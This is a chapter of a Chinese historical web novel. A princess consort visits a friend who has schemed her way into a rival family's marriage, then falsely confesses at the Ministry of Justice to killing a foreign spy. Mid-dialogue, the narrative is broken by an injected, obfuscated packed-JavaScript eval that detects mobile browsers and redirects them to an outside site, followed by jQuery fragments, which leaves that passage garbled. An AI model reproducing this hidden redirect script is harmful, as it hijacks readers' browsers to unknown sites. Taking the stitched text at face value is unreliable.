50. 第 50 章

明蘅下了马车,只粗略和容侯见了个礼就急着赶去了容梦溪的院子。一路上她想过这院子会不会弥漫着凝重的沉寂,或是强打精神的欢喜,但一进院门,院中安然有序,梦溪的大丫头锦奴轻言细语指挥着小丫头们把院子里的落花都扫到一处……


仿佛什么都不曾发生。


婆子通报了一声:“王妃娘娘来了。”


锦奴见了笑着过来迎她:“娘娘来看我们小姐么?”


她们实在太过随意了,明蘅倒结巴了一下:“是、是啊,梦溪呢?”


锦奴指了指房门:“在屋里吃点心呢。”


明蘅满腹疑惑地推了门进去,容梦溪还真是靠着窗优哉游哉地吃着一碟子点心。见她进来了笑着招呼她过来:“松黄饼!这可是养颜的好东西。”


明蘅迷茫地从碟子里拿了一块,像容梦溪一样嚼嚼嚼,一股子清甜的蜜香,好吃是好吃……


两人沉默地吃完了那碟松黄饼,容梦溪叫锦奴换了热茶上来:“你是怕我想不开么?”


“哦!”明蘅都快把来意吃忘了,她当然是被这诡异的婚事惊得合不拢嘴,才和沈宗芳一起快马加鞭地赶来,但……


“你好像想得挺开的?”


容梦溪大笑道:“不错,不错!放心吧,我心里早有计较,许家想打我的主意,我包管教他们后悔。”


“你可别胡来,”明蘅有些警觉地想起沈宗芳和她讲过的容家两位小姐的故事,生怕容梦溪也学了她姑姑做傻事,“可千万别干那种‘亲者痛、仇者快’的事。”


“你想到哪里去了——我明白了,七王爷把我们家的事告诉你了吧。”容梦溪脸上闪过一丝阴翳,旋即被热烈的坚定代替了,“我不会。两位姑姑有两位姑姑的做法,我有我的。就像你说的,我才不会‘亲者痛、仇者快’呢。”


明蘅听她这样说,悬着的心多少放下了些,叹了口气道:“这婚事……怎么回事?我就听了个音就赶来了,是三王妃提的?”


“不,我自己提的。”容梦溪一扬头,洋洋得意道。


明蘅瞪大了眼睛:“你自己提的?你——你疯了?且不说许家和侯府的关系,我那二表哥再客气不过地说,也就是个草包……”


容梦溪笑得眼泪都出来了:“你也太不客气了!还是客气些,这以后可是我丈夫了。”


明蘅哪有心思和她说笑,眉头皱得解都解不开。容梦溪伸出一根纤纤玉指,往她眉心一点:“怕什么?你当我是走投无路,只得下嫁许家么?嘿嘿,现在该头疼的可不是我。”


明蘅明白她的意思。许家和三王爷一再拿她的婚事寻晦气,她索性以身入局:一个出身浔阳侯府,和许家深仇大恨的儿媳妇,许家敢不敢要?若是许家要推脱,那这不为国分忧的人可就不是他们侯府了。


可……


“这也牺牲太大了!”


容梦溪笑着拍拍明蘅的手:“你也着相了。有什么牺牲不牺牲的?来日许家树倒猢狲散,我难道不回家来?侯府难道还能说‘我们浔阳侯府没有二嫁之女’不让我大归?”


“‘欲成非常之功,必待非常之人’。我们侯府多年来就是太刚正了,才会被许家处处掣肘。”容梦溪站起身,骄傲地说,“他们以为拿着女子贞洁清名的牌坊就能左右我?我可是我爹在马背上养大的!”


“王妃,我知道你和七王爷定然又在想法子‘救’我,但那都不必了。我可不是去坐以待毙的。许家想算计我,哈哈,我想算计他们还缺个机会呢!瞧着吧,我就要去做一柄捅穿许家的利刃尖刀,扎得他们血流不止,才是为我们浔阳侯府三代人的血泪昭雪呢!”


直到回了王府,明蘅脑中仍然不停回想着容梦溪骄傲的笑脸,和她掷地有声的那些词句。


不错,许家最爱无中生有煽动流言蜚语,无非就是想用那些世俗清誉束缚他们,让他们瞻前顾后自己困住自己。


但那些流言蜚语有什么重要的?譬如对梦溪而言,是外人嘲笑她几句二嫁弃妇重要,还是抓住这个机会狠狠剜下许家一块血肉重要?或者说,是训诫女子贞洁闲言碎语的人卑劣,还是为浔阳侯府无处可诉的冤仇雪恨的容梦溪高贵?


——沈宗芳其实也是这样吧。


那仿佛是在很久之前了,明蘅记得明鹤曾说过,沈宗芳此人行事胡作为非,对他颇有微词。


现在想想,沈宗芳恐怕也是没有选择那些身外之物,而去做了更需要他做的事吧。


欲成非常之功,必待非常之人。


明蘅轻轻握了握拳,问倾海道:“可有办法找到王爷那位幕僚丁先生么?”


-


明蘅在刑部大堂前下了马车,望着“明镜高悬”的匾额。


上次来到这里并不是很久之前。那时她站在堂前,对许远山说起了那些不平则鸣的大义之言,告诉他有些实话不得不讲。


但她今天不是来讲实话的。


有时候,有些谎话也不得不讲。


她在心里对自己微笑了一下,挽起袖口,握住了登闻鼓下的鼓槌,使出浑身的力气一下、又一下敲击起来。


声声登闻鼓惊起了檐下鸟雀,刑部的门房急匆匆赶了过来,喝道:“何人击鼓?”


明蘅朗声道:“七王妃明氏,前来自首!”


登闻鼓响按律刑部本就要立刻升堂,听闻来的人是谁以后,当值的张豫更是不敢耽误,急急忙忙来了大堂。


明蘅不避不闪地立在那里,见了张豫,还笑着招呼了他一声:“张大人。”


又是登闻鼓、又是王妃、又是自首,周遭的百姓一传十、十传百,把刑部大堂堵得水泄不通。张豫惊堂木一拍,问道:“七王妃说要自首,你有何罪?”


“听闻大黎使臣在朝堂上一再追问有一位‘董先生’的下落,可有此事?”


“不错。难道王妃知道?”


明蘅抿嘴笑了笑:“不好说知不知道,但我来自首之事与他倒是相关。我是来自首……杀人的。”


窃窃私语如野火般蔓延,有人踮脚张望,有人推挤着往前涌。两旁衙役的水火棍在青石砖上砸出闷响,也盖不过“嗡嗡‘的议论声。


张豫惊讶得站起身来:“王妃,这可不是儿戏!”


“我难道特意来劳师动众说笑不成


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867841|172714||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


?”明蘅敛了笑意,目光灼灼地看向张豫,“我来自首杀人。大黎在找的那位董先生,教我给杀了。”


一言激起千层浪,满堂哗然。


“我没听错吧,王妃娘娘说她杀人了?”


“这……王妃娘娘看着弱质芊芊,还有这本事?”


“她为什么要杀人?还杀大黎人?”


“到底是‘最毒妇人心’,杀人的勾当她说得这么轻松……”


张豫连拍了好几次惊堂木,才让围观的人群安静下来,他也稳了稳心神问道:“王妃娘娘,你既然说杀了董先生,有何凭证?你又为何要杀他?”


“凭证和理由都是一样东西。”明蘅解下腰间的一枚令牌,“大人请看,这是我从董先生身上带走的。”


张豫示意衙役接过令牌,仔细端详了一番,确实有个“董”字,但仅凭这个……


明蘅道:“大人,这令牌要紧的不是正面,而是背面。”


张豫依她所言翻过了令牌,只见背面阴刻着一只鸟,看不出那是什么图样。


“这是‘毕方’,传闻是生于木精的火鸟。大黎郑氏属金德,所以当初逆党谋朝,便以火鸟为号,取火克金之意……”明蘅见张豫变了脸色,知道他明白了,“不错,这位董先生并不是普通的大黎人,乃是大黎逆党残兵,更是潜伏在我大景的细作!”


张豫一面让人拓印了令牌去兵部询问,一面追问道:“这些事王妃如何得知?”


“我并不认得这董先生。但去年十一月里,城隍庙曾有一桩大黎人纵火之事,大人可还记得?”


那桩纵火案牵连出了许东楼和延年散之事,张豫自然是记得的,他恍然大悟道:“当时的大黎人就是这位董先生?”


“不错。当日这几个大黎人在城隍庙密谋以延年散暗害大景之事,被我偶然撞见,他们对我起了杀心想要加害于我……”明蘅顿了顿,“我慌不择路逃走时,这董先生追了上来,我也是别无选择,和他争斗中将他推下了山崖,只抓住了这块令牌。”


张豫皱了皱眉,怀疑地问道:“既是如此,王妃娘娘何以现在出来自首此事?”


“到底是人命关天的事,我哪敢轻易说出来呢?况且我当时并不知道这是何人,更是无从说起。这令牌的含义、被我推下山崖之人的身份,都是我不久前才查访得知的。我也是刚知道大黎使臣为这董先生一直非难我们大景,这才下定决心要来自首。”


她说得言之凿凿,张豫还是觉得这一切都太过凑巧了。况且……


“王妃娘娘,你不过是弱质女流,当真能和董先生一个壮年男子争斗,还把他推下山崖?”


明蘅轻笑了一声:“这个么……大人有所不知,我这人平时就爱好舞刀弄枪。大人不信可以传王府韩管事上堂来,他可没少替我采买刀枪剑戟。”


张豫:“……娘娘,就算你当真沉迷舞刀弄枪,这些话可全是一面之词——”


“我自然是有证据——”


“不错,这都是胡说八道——”


两道声音同时响起,明蘅转身一看,面色铁青的沈宗芳挤开了人群走了过来。